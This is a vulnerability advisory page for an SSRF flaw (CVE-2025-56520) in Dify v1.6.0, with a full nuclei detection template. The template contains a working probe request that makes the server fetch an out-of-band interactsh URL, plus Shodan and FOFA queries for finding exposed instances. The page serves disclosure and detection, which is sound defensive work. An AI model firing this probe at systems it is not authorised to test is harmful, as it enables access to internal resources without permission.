Dify v1.6.0 - Server-Side Request Forgery

highseverity

9.3CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remote_files.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access.

Impact

Attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.

Fix

Update to the latest version.

How to confirm it

Send: GET /console/api/remote-files/http%3A%2F%2F{{interactsh-url}}%2Ftest
Positive when: contains "file_type" and "file_length" AND contains in content_type "application/json" AND contains in interactsh_protocol "http" or "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2025-56520 -u <target>

The full check

id: CVE-2025-56520

info:
  name: Dify v1.6.0 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
    Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remote_files.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access.
  impact: |
    Attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version.
  reference:
    - https://github.com/langgenius/dify
    - https://dify.ai/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-56520
    epss-score: 0.00696
    epss-percentile: 0.53337
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Dify"
    fofa-query: title="Dify"
  tags: cve,cve2025,dify,ssrf,oast,oob,oss,vkev,vuln

http:
  - raw:
      - |
        GET /console/api/remote-files/http%3A%2F%2F{{interactsh-url}}%2Ftest HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "file_type"
          - "file_length"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from